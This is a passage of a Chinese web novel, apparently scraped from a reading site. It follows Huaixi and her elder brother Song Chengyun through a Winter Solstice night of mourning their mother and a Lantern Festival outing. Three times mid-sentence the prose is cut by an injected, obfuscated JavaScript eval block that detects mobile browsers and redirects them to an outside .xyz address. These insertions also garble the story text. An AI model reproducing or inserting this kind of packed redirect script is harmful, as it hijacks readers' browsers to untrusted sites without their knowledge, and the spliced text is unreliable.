怀夕穿着大袄,白绒绒的兔毛一圈围在颈边,一双黑溜杏眼神灵活现,衬得脸庞玲珑俏丽。 她歪头想了想,同画眉说:“你同圆圆姐姐说,夕儿午后不得闲,一会包了大饺子和汤圆给她送过去,叫她留着些肚子。” 画眉站在廊下,笑着诶了一声,应下。 16. 第 16 章 没一会,天边洋洋洒洒下起了雪,院里积了一层薄薄的雪皮。 包饺子和做汤圆看着简单,准备馅料和馅皮却都是个精细活。好在刘婆子和小艾手艺好,捏的饺子比外头卖的还精巧。 怀夕手艺不好,饺子怎么都包不住馅,试了几个就放弃了,乖乖在一旁搓汤圆。 饺子的馅没包完,怀夕好奇汤圆皮包上饺子馅是什么味道,趁刘婆子没注意,用肉馅搓了几颗汤圆。 偏厅里烧着炭,暖洋洋的。 怀夕为干活方便,把厚厚的大袄脱在一旁,卷起袖子同刘婆子和小艾围在炭盆边就这样包了一下午。 待天色微黑,院子里的雪下了厚厚一层,饺子汤圆也包了满满几屉。 包的时候费时间,吃的时候就方便了。放入高汤或开水里一烫,沸腾一会再捞起来,就是一碗叫人垂涎欲滴的美食了。 怀夕吩咐小艾各拿两屉送到对门,又让刘婆子把剩余几屉拿到厨房,吩咐先烧好灶,待哥哥回来就可以下锅。 锅碗瓢盆收拾好之后,怀夕拿着抹布在桌上擦掉落的面粉。 宋承云刚踏进垂花门时,怀夕正好捧着盆从屋里走了出来。一看到宋承云,怀夕眼睛立马就亮了起来,隔着游廊,声音脆亮:“哥哥回来了。” 厨房里,刘婆子和小艾听到怀夕的声音,走了出来,对着宋承云福了福身。 松豪把手里的东西交给刘婆子和小艾,又赶紧接过怀夕手里那盆擦拭过的温水。 雪花飘进廊下,有两朵趁怀夕不注意,贴到颊边,怀夕忍不住打了个颤。 待宋承云走近,怀夕看到他肩上压了一层薄薄的雪花,踮着脚想去拍掉。只是手一伸,隔着袖摆,被握住指尖。 一冷一热。 宋承云看着清冷如雪,可到了冬季,身上却暖如火。怀夕隔着袖摆,也能感受到他手心温烫,如同握着暖炉一般。 指尖被握住,怀夕愣了一愣,马上反应过来,哥哥是看自己有没有冷到。 宋承云只是探探她的温度,握着的力度很轻,怀夕轻轻一抽就抽出来。 抽出来后,却是顺势将微僵的小手塞到宋承云手心,任那股暖烫驱散指尖的冰冷。 怀夕满足地眯了眯眼,宋承云看着她,神色舒展,任她拉着进了屋。 冷热交加,怀夕一进屋就打了个喷嚏。 见宋承云解开披风的手一顿,怀夕立马走上前,将他手里的披风接过。 “哥哥,我今日一步都没有踏出院子,隔壁圆圆姐姐派人来请我,我也没有过去。”怀夕抬着头,一双杏眸眨巴着,眼底干净剔透。稚气未退,毫不掩饰自己有所求。 宋承云看着她沾着面粉末的脸颊,一双冷清的黑眸漾过一丝柔软,从袖间拿出帕子,伸手将那几点白擦掉。 怀夕却不在意,拂掉他的手,自己随意擦了擦。 “哥哥若不信,可以叫刘婆婆进来问问。再不信,还能问问画眉。”见宋承云不接她的话,她眉头皱了皱,拉着宋承云的袖子,“我今日可忙了,做了好些饺子,还有哥哥喜欢的红豆汤圆……” “我没有不信你。”妹妹不经逗,宋承云唇角微扬,就此作罢。 怀夕脸上立马也绽开了花,讨喜道:“哥哥最英明了。” 厨房里有条不紊准备着膳食。屋里,怀夕正襟危坐,一眨不眨地看着宋承云握笔的手。 瘦削而修长,骨节分明,盈润如白玉。 宋承云这双手写过无数叫人惊艳的文章,可此时却坐在书案前,漫不经心在她临的字帖上不住地圈圈。 …… 见宋承云圈圈的字越来越多,怀夕暗暗叹了口气。 哥哥这手字是得过许多夸赞的,按梁夫子的话,“伯卿之字,笔墨精熟,古逸秀劲,风神殒藉处有魏晋书韵。” 所以,自然不是她能随意能临摹出神采的,怀夕摹了许久,堪堪只能见其形。 怀夕原本已经不抱任何希望准备重写,却未料到对面书案上的人轻飘飘道了一句:“还不错。” 大大出乎意料,怀夕狐疑确认:“还不错?” 宋承云将手里将笔放下,“恩,圈出来的这些字重写即可。” ...... 这叫还不错? 怀夕忍不住拧着眉头,可在宋承云的招手下,还是认命般地绕过桌子,走到宋承云身旁,探头去确认要重写的字数。 密密麻麻的圆圈。 “写好了,答应你一件事。” 怀夕伸出手想去翻页,听到这句话,侧着的身子转而看向宋承云,一头乌黑柔软的头发随着她的动作尽数落到肩前。 宋承云看着怀夕清透的眸底满是不可置信,哑然失笑。 难道他的话已经如此不可叫人取信了? - 雪纷纷扬扬下了一整夜,天亮转小了些,可也不见停。院里堆了厚厚一层雪,雪光照拂下,屋内更显亮堂。 怀夕窝在被窝里,呆呆地看着窗棱,还是一副睡眼惺忪的样子。 小艾从屋外打开门,掀开门帘,轻轻喊了一声:“姑娘起来了?” 小艾她走路间带起一阵微风,怀夕扯了扯被子,“恩,醒了。” 因盖着半张脸,声音闷闷的。 待床纱被小艾挂到一旁,怀夕才推开被子,坐了起来。小艾拿过一旁准备好的衣物,帮怀夕披上,怀夕就着她的手穿好。 “哥哥呢?” “公子卯时就起了,在书房。” “现下什么时辰?” “辰时。” 这么晚了?怀夕加快手里的动作,将头发简单挽好,赶忙收拾一番后便带着小艾往偏房去。 早膳按宋承云的习惯,只煨了粥,配上几叠小菜。虽简单,但怀夕在吃这方面总有自己的花样。 粥也不是简单的白粥,昨夜她便吩咐刘婆子先熬好肉骨汤,今早用那骨汤小火煨粥,待出锅时又撒上些葱花和青叶碎。 热粥盛了两小碗,在桌上冒着热气,香味扑鼻。 宋承云用勺子在粥里搅了搅,舀了半勺,送入口中。 怀夕坐在宋承云身侧,偏着头,安静地看着他,待看到哥哥点头,才满意地收回目光,自己吃了起来。 宋承云先吃完,却没走开,一直等到怀夕也放下筷子,才起身。 怀夕用帕子蘸了蘸嘴角,也跟着起身,看着哥哥打开门,眼睛转了转,犹豫了一下,还是没有开口。 算了,还是不要打扰哥哥了,待等会雪小些她去看看圆圆姐姐好了...... 宋承云走到门口,正要跨过门槛,才发现怀夕还站在食桌前,没有跟上来。 “怎么不跟上来?”他转过头,神色略带些疑惑。 怀夕也有些发愣,疑惑地问回去:“去哪?” - 一进书房,满屋的墨香和纸香袭鼻。 怀夕解开身上的斗篷,被宋承云顺手拿过,与他的一同递给松毫,松毫接过后便退下了。 屋内燃着炭,可并不算暖和,怀夕环视了一圈,看到右边纱窗还小开了一条缝,寒风正从小缝里呼呼钻进来。 宋承云平日看书并不喜欢屋内太暖和,不过妹妹向来怕冷,他走近窗前,单手将纱窗落下,又示意怀夕坐到窗边小榻上。 榻上置了一小几,棋盘放在中间,边上是一煮茶的小炉。 “要看书还是下棋?”宋承云问道。 显然,今日他确实是打算好好陪一下怀夕了。 怀夕转了转眼珠子,“下棋。” “好。” 宋承云坐到怀夕对面一侧,将两篓妻子放上棋盘,温和道:“你来选。” 怀夕却摇头,“还是猜子定黑白。” 宋承云轻笑,配合怀夕,随手抓了几颗子。 怀夕状似认真思索,“双数。” 宋承云摊开手掌,三颗黑子印入眼帘。 怀夕叹了口气,“怎么每次都猜错。算了,我选白子。” ...... 宋承云无奈地笑了笑,将白子篓放到她右侧手边。 棋盘上黑子白子交织,怀夕两指捏着白子,眉间皱成一根线,认真思索着,半晌没落子。 宋承云目光轻轻扫过怀夕,也不催她。 怀夕自小在泸州长大,耐不得寒凉,金陵还未入冬时,她就开始穿着北地人在冬日才会穿的衣裙。 今日,她着一身浅粉色对襟襦裙,外披圈毛边云纹披袄,此刻小手撑着下巴处,贴着软毛,娇俏地不像话。 本是怕怀夕畏寒,宋承云才吩咐松毫把炭火烧的旺些,没曾想,小姑娘却热得鬓间微汗。 宋承云拎起茶壶,倒了一杯,推到怀夕边上,温声道:“休息会吧。” 一时间不知道要将子落在何处,听到哥哥的声音,怀夕烦闷将手里的棋子扔回棋篓,顺势拿过茶杯,抿了一口。 “输了。”怀夕不甘心道,“不过,夕儿棋艺不精,是老师教的不好。” 她反将一军,捂起嘴笑了起来。 宋承云也不反驳,妹妹的棋艺,是他一人所教。可他平日大部分时间都在书院,能教妹妹的时间并不多。 不过,妹妹倒也小看自己的棋艺了。连自己这个师傅同她对弈时也要费上几分心神琢磨,可见她的棋艺已有一些火候。 从棋盘上收回注意力后,怀夕才发现自己有些热出汗。 她站了起来,想将外面的圈毛边云纹披袄去掉,可还没解开带子,就被宋承云制止。 “我把炭火灭掉一些。”外头这么冷的天,他怕一冷一热真冻到了。 怀夕想了想,也怕着凉,于是收回手,却走到门边,喊了一声松毫,笑着同他说道:“松毫,你去让小艾把昨日圆圆姐送过来的糕点装一盘过来。” 松毫麻溜地应是。 怀夕回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894297|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见宋承云又随手拿了本书,趁他还没翻开,她边走近边说,“对了哥哥,我让刘婆子今日家去了,今日你只能吃我做的饭菜了...” 宅子里的人本来就是侍候怀夕的,宋承云并不置喙她的安排,倒是被她语调间刻意加重的“亲手”吸引。 “亲手做?” “昨日我包了饺子和汤圆。”怀夕也不是真要卖弄,说完有些心虚起来,“饺子我打下手了。”之后声音又高了一分,“但是汤圆我搓了许多的!” 宋承云揉了揉她的鬓发,浅笑哄道:“好,那哥哥今日多吃些,不辜负夕儿的手艺。” 一日的时间过得飞快,午后怀夕听说丁心兰得了风寒,忙过着小艾过去看她。 所幸还好,丁心兰只是有些头疼,怕传染给怀夕,没让怀夕久坐。怀夕只好回自己院子又小睡了一会,便跟小艾去厨房张罗晚膳。 说是张罗,其实刘婆子大都准备好了,清脆爽口的几盘小菜已腌好,只待饺子和汤圆下锅就可以。 不过,等两个小姑娘将膳食端出,天边已经些许擦黑了。 松毫搬出前两月新做的糯米酒,拿出勾勺打了几盏,放到食桌边上。 家中就四人,既是为了热闹,也是将松毫和小艾看作家人,怀夕让他们晚膳一起围坐。 没想到,松毫直接回绝,小艾也是支支吾吾不敢答应。 怀夕见说不动他们,只好将眼神求助到宋承云身上。 果然,宋承云一开口,松毫和小艾就乖乖围坐上来。在怀夕的欢声笑语间,松毫和小艾勉强克服心中的拘谨,几人将昨日包的几屉饺子和汤圆几乎吃完。 不过饭后,松毫和小艾将桌子收拾好,放上几碟点心,还是很快退了下去。 怀夕主动拿出勾勺,往自己杯里又倒了一盏糯米酒。 宋承云瞥了一眼,也没阻她。他刚刚小尝了两口,酒劲并不大。 偏房的窗半开着,兄妹二人边饮酒边赏雪,怀夕间或说几句听来的见闻。 但大部分时间,两人都是沉默着。 待怀夕将手伸向宋承云面前的酒杯,宋承云这才发现,不知不觉怀夕已将几盏糯米酒喝下肚。 糯米酒酒性浅,原本也不碍事。但他没想到,怀夕酒量这般差...... 莹白的两颊被洇出粉红,清灵透亮的双眸浸上水雾,被他压住手背时,小姑娘怔愣了几秒,目光显得有些呆滞。 好一会,她似乎反应过来,解释道:“我帮哥哥喝。” 宋承云见她执着地想抓住他的酒杯,觉得她的醉态有些好笑,轻呵了下。而后在她的注视下,端起酒杯,将剩余的半杯糯米酒一饮而尽。 甜腻腻的,他并不是很喜欢,喝完后眉头忍不住一皱。 怀夕见状,扁了扁嘴,颇有不满之色。 “你喝醉了,回屋休息吧。”宋承云走过来想扶她,却在走近时被怀夕拉住袖子。 怀夕低着头,宋承云看不见她的神色。 袖子被她用了十成十的力气抓着,他只好顺势蹲了下来。 蹲下来后,两人目光正好平视。 晶莹泪珠扑簌簌地从那双清透明净的眼眸里涌出,像断了线的珍珠,一滴一滴落在他袍子上。小姑娘吸了吸鼻子,想说话却哽咽住,眼圈因憋着眼泪而泛红。 宋承云看着那泛红的眼圈,终于轻轻叹了口气。 他伸手,就这样半蹲着将坐着的怀夕轻轻揽入怀里。 没有出言安慰,也不知道如何安慰,只是轻轻拍着,耐心地安抚着...... 酒劲上头,宋承云越是安抚,怀夕哭得越厉害。 哭累了,在昏昏欲睡前,她埋近宋承云脖颈间,低声咽道:“哥哥,我想娘亲了。” ...... 憋了一整晚,怀夕还是将这句话说出来了。 其实,宋承云一早就发现怀夕的小情绪了。 这是娘亲去世后的第一个冬至,或许小姑娘怕他伤怀,始终憋着没提起...... 可她心思纯净,向来藏不住心思。 况且,娘亲也是他的娘亲,他焉能不知怀夕的思念...... 妹妹就这样趴着他肩头,不时抽噎着,某一刻,嘴巴不知喃喃说着什么。 宋承云轻歪了下头去听。 一滴眼泪顺着他的姿势洇进他的领口,灼热的有些发烫。 冬至大如年,向来是阖家团圆的日子。如今他们的小家,便只剩他们兄妹二人了。 他们是亲人,彼此唯一的亲人 宋承云将睡着的怀夕抱了起来,踏出房门的那一刻,他将身上的披风覆紧怀中的妹妹,低头在怀夕耳边不知说了什么。 话语声很快被寒风卷走,清冽的音色毫无缝隙地融入风雪里。 ....... 睡梦中的怀夕听见了,在宋承云怀中动了动,挪了个更舒服的姿势,安心地睡过去。 17. 第 17 章 从冬至开始,大雪断断续续下到年十二才停。 瑞雪兆丰年,皇帝以此为祥兆,下旨开仓赠粮,并昭告元宵那日,要前往郊庙祭天,供奉天帝神明,以表对神明赐福的敬意。 当今皇帝即位不足十年,战乱初定,百姓过了几年安居乐业的日子。 天子深得民心,百姓看到诏令后纷纷效仿,各地寺庙香火前所未有地旺盛。 百姓不知,天子一道诏令,百官呼应,其中要付出多少物力人力。 祭祀仪式繁琐复杂,但时间足够,都能解决。 唯有一项,常常让百官们挠破头,那便是祭天祝文,也称祭天青辞。 青辞类似读书人所作的骈文,却不可只堆砌华丽词藻,不仅要表帝之恳切,又要做到辞旨简而不华,实而不芜。 总而言之,并不好写,即便是学富五车的王老太师也常常觉得无法尽善尽美。 因此,自皇帝诏令下到内阁后,首辅沈震不仅要翰林院的每一位翰林都要在期限内为皇帝进献一篇祝文,还找到王老太师,希望清河书院的学生们也能助一臂之力。 写青辞简单,可写好青辞却不简单。一旦你能胜任,你的名字就在首辅,甚至皇帝的面前挂上号,因此清河书院的学生们对王老太师吩咐下来的这件事情重视非常。 虽说在书院颁了通令,可王老太师还是单独找了几个学生,让他们尽心写出一篇能叫首辅、能叫皇帝满意的青辞,而其中就有宋承云,和住在他对面的杨铭。 于是,过完年初五,宋承云和杨铭开始早出晚归。 怀夕还算习惯,从前宋承云在梁家书院进学的时候,每半个月才会回家一次,如今每日都能见到,怀夕没什么不满足的。 但丁心兰就不同了,她本就身子娇弱,又在前些日探出喜脉,一时有些离不开杨铭。 不过她也不是不讲理的人,看到丈夫深夜回来之后每每还要亲自过问她每日吃食和一应起居。丁心兰心里也算熨贴。 只是怀了孕,脾气似乎更娇了,但凡有些不舒服,总是忍不住对丈夫没有好脸色。 白日看不见他,反而心情更加平和。每日和怀夕相伴,欢声笑语,丁心兰也觉得怀孕的不适日渐减退。 云销雪霁,天光大亮,今日偏房难得开了一片窗,怀夕和丁心兰坐在罗汉床上看小艾和画眉编荷叶篓,准备做荷叶饭。 两人有一搭没一搭地闲聊,桌几上一盏腌梅子很快被丁心兰捏见底,见丁兰心吃得有滋有味,怀夕没忍住,也捏了一颗。 丁心兰看怀夕莹白小脸皱成一团,连忙端起茶壶给她添满。 怀夕强忍着没吐掉,猛灌下几杯茶,才把酸味压了下去。 “这都酸掉牙了,姐姐,你莫吃太多,伤胃。” 丁心兰叹了一口气,“这几日没胃口,也就你家刘婆子做的这腌青梅勉强能吃一点......” 怀夕心疼地看着丁心兰,目光落在她平坦的小腹上,怎么也看不出这里正孕育着一个小宝宝。 丁心兰顺着她的目光低头,温柔地在肚皮上抚了抚,“还不到三个月,看不出来呢。” 怀夕双手撑着桌,眉眼弯弯,抬高身子凑近丁心兰的肚子,“小宝宝,你要乖乖,莫让你娘亲难受,好么?” 丁心兰被逗笑,轻轻推开她:“你同她说这作什么,她哪里懂。” 怀夕坐正了些,眸子被屋内的炭火烘得水润润,娇俏地挑了下眉,笃定地说道:“懂的。” 丁心兰自怀孕后,虽一直胃口不佳,但气色却比之前更好些。她自小就是个药罐子,对自己的身子很清楚,因此,觉得肚子里这个宝宝定是个福宝。 虽然,丈夫怕她身子承受不住,原本并不愿意她太早有孕。但对于丈夫的顾虑她不以为然,成婚已有三年,她觉得也是时候了。 荷叶饭的香味很快顺着敞开的窗户飘了进来,外头是刘婆子喊摆饭的声音,小艾应声而去,画眉也跟着一起去帮手。 怀夕利落下了床,走到丁心兰这边,替她掀开盖在身上的小薄毯,伸手去扶她。 丁心兰苦笑,怀夕这样的小心翼翼倒是同丈夫如出一辙。她握住怀夕的手腕慢慢挪下来,看着她还稍显稚嫩的脸盘,边笑着说道:“明明你还比我小四岁,有时总觉得你似姐姐一般。你这般聪慧细心,你哥哥又那般才华横溢,你母亲到底是个什么巧人,能教出你们这么一对兄妹......” 丁心兰大概知道怀夕一些家事,知道是因为娘亲去世,她哥哥才会带着她来金陵城。 不过相处久了,看着在丈夫口中不苟言笑的惊世奇才对怀夕这个妹妹几近有求必应,丁心兰对宋承云倒是有不同的认识。 长兄待她如师如父,怀夕也算是有福气的人了。 两人从早待到午膳后,待丁心兰有些困乏后,才起身告别回家。她边走边嘱咐怀夕:“夜里凉,晚上游灯多穿些。午后也莫要贪嘴,春风楼有你爱吃的炙羊肉,隔壁玲珑阁的蜜饯也好吃......” 怀夕牵着丁心兰把她送到宅子外,乖巧地听着,笑意盈盈的眼眸里,欢喜就要满溢出来。 今夜元宵灯节,哥哥答应要陪她去游花灯的。 只是,酉时刚过,松毫带回来的消息却让翘首以待的怀夕大失所望 ——首辅亲临清河书院,整个清河书院戒严,所有人员暂时不得离开。 怀夕过年前就已经十分期待元宵的花灯节,况且,未料到哥哥这种突发情况,她午后小憩了一会,早早就起来妆扮,现下连斗篷都已经穿上...... 松毫站在门外继续说道:“公子说,如果姑娘...” 话还没说完,大门就传来叩门声。 松毫只得先去开门。 是画眉。 ——原来丁心兰的丈夫也被留在书院。 好不容易订到春风楼的阁房,丁心兰不想放弃,故遣画眉来问怀夕要不要一同前去。 ——当然要去。 - 春风楼座临长安街,北面是凌阳河。 凌阳河每到冬日结冰,水面会结厚厚的冰层。因湖面宽广,又流经闹市之畔,每年这里举办花灯节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903268|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都热闹非凡。 商家小贩想出各种巧思,在冰面上架起连绵一片十字交结的网状绳索,每个交结处挂上形态各异的花灯,燃灯万盏,灯光印在冰面上,金光璀璨。 而立于春风楼,便能将这一繁华景象尽收于眼下。 丁心兰陪丈夫来到金陵城已有两年,不巧前年元宵因伤了一场风寒未能来观赏这一盛世奇观,今年却是怎么说都不愿放弃。 皇城脚下,安全倒是不足为惧。况且,内宅女子原本就少有出门的机会,这样难得的机会,怀夕也不愿错过。 于是,两人一拍即合,决定结伴前去。 长安街人头攒动,茶坊酒肆灯烛齐燃,杂耍表演,火树银花,热闹非凡。 因丁心兰有孕在身,两人并没有流连街巷,直奔早已订好的春风楼。 月色如水,楼阁错落,春风楼不愧为金陵城最富盛名的酒楼。 楼内有五层之高,临水处向书面悬挑,一二楼布置散座,二三楼以上皆为雅间。 一楼正中,圆形台上歌姬舞姬笙歌曼舞,丝竹箜篌,流光溢彩,在此便可窥京城之繁华。 丁心兰年前便在这里订了三楼雅间,进来后小坐了一会,菜肴依次上完,小二拱手笑退。 怀夕瞪圆着大眼新奇地看着桌上的菜肴,小二报的菜名她记都记不住,什么桂花酿鸽,八宝瑶池,牛乳酥,珍珠豆腐......道道色香味全,叫人垂涎欲滴,就连近日没什么胃口的丁心兰,看着也有些心动。 丁心兰是商贾之女出身,规矩礼法上并不十分拘谨,让画眉和小艾也一同围坐,主仆四人围坐桌前,欢声笑语地品尝这些美食。 酒足饭饱,几人走到窗前,俯视凌阳河。 底下花灯焰火长明不绝,屋檐梁栋之间彩灯摇曳。 丁心兰和怀夕都是南地人,元宵节这日常见的是舞狮、舞龙和各种杂耍。 花灯也有,但规模和种类远远不及此刻场面。 看着河上的各式花灯,丁心兰心里恨不得立马融入到街上人群中。 可摸了摸肚子,还是将心头的渴望压了下去。她转头看向怀夕,笑着道:“妹妹,你不必在这里陪我。在这里干看着有什么意思,那么多好看的花灯,你去河边逛逛,替姐姐也挑一盏,可好?” 怀夕听完甚是心动,并不推辞。原本就是出来玩的,自然要玩得尽兴。 她语气活泼,弯着眼睛问:“姐姐想要什么式样的灯?我买了便回来,姐姐稍待我一会。” 丁心兰想了一下,说:“就兔子吧。” 怀夕笑着应了下来,披上圈毛边云纹披袄,不待小艾系紧,便迫不及待就要往外走。 “怎地同小孩一般,半点都等不得。”丁心兰走向怀夕,将她披袄上的兜帽往上翻,“底下冷,莫要着凉了。若你冻出病来,我可没法同你哥哥交待了......” 最显灵动的清透杏眼没入兜帽内,底下半张俏脸嘴角压不住,“知道了知道了,姐姐啰嗦。小艾,我们走。” 见她如此孩子气,丁心兰忍不住也笑出声。 18. 第 18 章 从春风楼出来,怀夕紧牵着小艾,在熙攘的人群中穿行。 各式花灯叫人目不暇接:十二生肖憨态可掬、花鸟人物栩栩如生......怀夕挤进一摊卖着十二生肖灯的小摊前,先挑了一盏五彩兔子灯,让小艾付了钱,又挤了出来。 “小艾,你喜欢什么式样的?”声音一会就没入喧吵的人流声中,怀夕只好凑近小艾耳边,又问了一次。 小艾听到了,同样附过来怀夕耳边,“姑娘不是说喜欢那边摊上的双鱼灯,奴婢也去那里挑一盏。” 怀夕应好,二人又回到初次停留的小摊前面。 小艾很快便挑了一盏四方灯,四角坠着黄流苏,十分别致。 而怀夕左手挑着一盏波纹双鱼灯,右手挑着一盏花丝葫芦灯,犹豫了好一会,还是没定下哪一盏。 摊上人来人往,老板今夜生意兴隆,嘴角就没落下过,看怀夕挑了好一会,他指了其中那盏花丝葫芦灯,对怀夕说道:“姑娘好眼力,小的摊上花灯百十来盏,盏盏皆是亲手所制。其中,这葫芦灯最是费时费力,你看,单是葫芦上的花丝,就花了不下一个时辰......” 怀夕确实挺喜欢这盏灯,听老板这么说,便犹豫着把那盏波纹双鱼灯放回。 可不知道想到什么,又立马反悔,伸手就要将双鱼灯拿回。 不巧的是,她刚放下,灯就被旁边刚凑过来的人顺势挑起,待怀夕反应过来,那人已经转身要走,只留下身后的小厮结账。 ...... 双鱼灯只剩这一盏了,怀夕在那人将灯彻底拎走前按住花灯前侧。 身着鹿皮靴的主人似有一顿,可能是惊奇有人敢在他手里截东西,他停住脚步,转过身来。 挑鱼灯的小棍一前一后被拿住,不待怀夕开口,旁边就有人清喝一声:“大胆,小世……” ...... “退下。” 清朗的声音入耳,怀夕看着抢走花灯那人缓缓转过身。 朗眉星目,发束金笄,一袭华贵的赫红绣金云纹锦袍在雪地里衬得人如一灼骄阳。 小厮在他的命令下退到一侧,不再说话。 怀夕见他不似不讲理的人,声调稍稍提高了些,“这是我先看上的。” 可说完,那人握着花灯的手不见松动...... ...... 怀夕手上的劲也跟着用多几分。。 那衣着华贵的男子看着怀夕毫不相让的语气和动作,有些不可思议,轻轻嗤笑了声:“所以?” 他慢悠悠说道:“你付钱了?” 见那人不按常理出牌,怀夕皱了皱眉,还是据实解释道:“我还没想好挑哪一盏,不过这盏,确实是我先看中的。”说完,怀夕转头对小艾说,“小艾,问问老板,这盏双鱼灯和你那盏四方灯一共多少钱。” 摊贩老板见二人扯着花灯毫不相让,在一旁打着圆场说道:“确实是这姑娘先到,公子,咱这其他灯盏盏精致,公子不妨再看看?” 那男子似笑非笑看了眼怀夕,在怀夕毫不退让的眼神下松了手。 他并不是有意同眼前这姑娘争抢,若不是随行的几个妹妹缠着要他买花灯,他不会从温暖如春的酒桌上来到这冰天雪地里。 没想到随手拿的一盏灯,引得这姑娘如临大敌。 姑娘他倒是也见得多,端庄的,温柔的,娇媚的......怎么说,他还是第一次在别人的眼神里看到似嫌弃,或碍眼的情绪。 一时觉得有趣,才在这里多浪费了点时间。 随手指了几盏灯,欲离开时,又听到刚刚疾言厉色的姑娘放柔了声音,对那摊贩老板说道:“老板,真是不好意思,我们的荷包不知在哪被偷了......” 男子轻挑下眉,呵笑了一声,转身便离开了。 意料之外的状况,怀夕一边安抚身边的丫鬟,“没事,小艾,本来荷包里也没多少钱。”一边跟老板商量着,“这两盏灯你能否先帮我们留着,我回那边酒楼取了钱,再过来付,可好?” 老板摊上其余几盏灯都被华衣男子买走,如今只剩她这两盏...... 看着老板双手窜在袖子里,衣物也不是特别厚,脸上因冻久了有些干裂,怀夕有些不好意思,“我们快一些,绝对不耽误你收档......” 那老板虽心里急着收档,但毕竟是做生意的,爽快道:“姑娘去吧,我这还得收拾会,准能等到您回来!” 怀夕道了谢,把灯放回去,就听到刚刚呵斥她的那名随从同那老板说:“老板,这些,加上那两盏,一共多少钱?” 老板在那人冷厉的表情中愣了愣,脱口而出:“一共三两银子。” 那随从掏出三两银子给老板,将刚刚主人指的几盏灯拎在手上,转身就走了。 ...... 看着摊上仅余两盏灯,怀夕和摊贩老板互相看着,眼里双双疑惑。 怀夕:什么情况?灯还是被抢走了? 老板:什么情况?这灯到底卖给谁了? 最后,看着那群人的身影慢慢消失在视线里,怀夕叹了口气,牵着小艾就要离开, 算了......不买了。 还好圆圆姐的花灯买到了。 那老板见她们要走,急忙拦下她们:“姑娘,你们的灯也要拿走呀!” 小艾回道:“那灯不是被他们买下了吗?” 那老板心里也大约理清这事的来龙去脉了,“我刚刚听清楚了,那公子临走时对他手下的人说,‘摊上的灯都买了’。那随从特意问我加上您这两盏灯的价钱,摆明了是替您俩付了这钱。” “这灯我已收了钱,姑娘就拿走吧。” ...... 最后,怀夕和小艾在老板三寸不烂之舌的劝说,和不拿就要害得他在雪地里多冻一会的压力下,真的将灯拎走了...... 两人就这样拎着三盏灯回到春风楼,或许是被冻得,又或许是对今夜的离奇遭遇感到无语,怀夕和小艾一路都没有说话。 直到进了春风楼,被楼里的热气一股脑烘了满脸,两人理智才稍稍回笼。 小艾提着两盏灯,左右看了看,问怀夕:“姑娘,你说那公子为何要替我们付银子?” 姑娘对那公子,属实不算很客气...... 粘在睫毛上的雪一进屋便化成水,划过脸颊时,怀夕忍不住打了个冷颤。她耸了耸肩,像是认真思考,又似是漫不经心,回道:“他大概很有钱吧。” 待怀夕和丁心兰赏完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909687|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯,回到宅院,已是戍时。 路口,两辆马车一前一后驶进。前一辆马车停下后,两道修长身影依次下来,正准备相互辞别时,目光一同看向后进来的马车。 马车一停,车夫把脚踏放好,小艾和画眉依次先出了马车。 丁心兰有孕在身,怀夕在马车里伸手扶着她,手护在她背上。待她顺利在两个丫鬟的搀扶下站定,才慢慢放手。 她自己则转身去拿轿子里的几盏花灯,依次递给小艾后,她才提着自己那盏双鱼灯利落从马车上下来。 刚站定,就看到丁心兰朝着家门的方向娇娇喊了一声:“相公。” 怀夕顺着她目光所向望过去,一眼看到宋承云。 残月光影中,双鱼灯在奔跑中摇曳着微弱灯光...积雪满地,怀夕止不住步子,一把撞进宋宋云怀里,她紧紧抓住宋承云的手,借力站稳后,才抬头喊了声:“哥哥,你回来了。” 见怀夕站稳,宋承云将刚刚接住她的手收回。 与此同时,杨铭也急忙向丁心兰走去,满脸担心。 怀夕帏帽没戴上,奔跑中几丝发丝并着雪花黏在脸颊处,她急着想将手里的花灯抬起,同承云说着今晚的见闻。 宋承云仔细地听着,将她发丝拨到一侧,又将她的帏帽拉起。 帏帽挡住眼眸,怀夕止住话,抬手想将帏帽拉下,只是动作很快被制止 “冷。”是哥哥清泠泠的声音。 怀夕只好乖乖将脖子缩回去。 宋承云转而看向杨铭夫妇,对着丁心兰点了点头,“多谢夫人包涵,舍妹叨扰了。” 丁心兰在丈夫的小心搀扶下走近,将怀夕和宋承云的互动看在眼里,心里暗自惊奇兄妹俩的亲近。 平日里怀夕提起哥哥时,言语中皆是敬佩与依赖。丁心兰虽知道他们兄妹相依为命,但亲眼所见,忽地明白,怀夕对哥哥的依赖或许都来源于对方对她的宠溺与包容。 杨铭见自家夫人眼睛一眨不眨盯着宋承云的脸,衣袖下的手轻轻捏了捏丁心兰的手心。 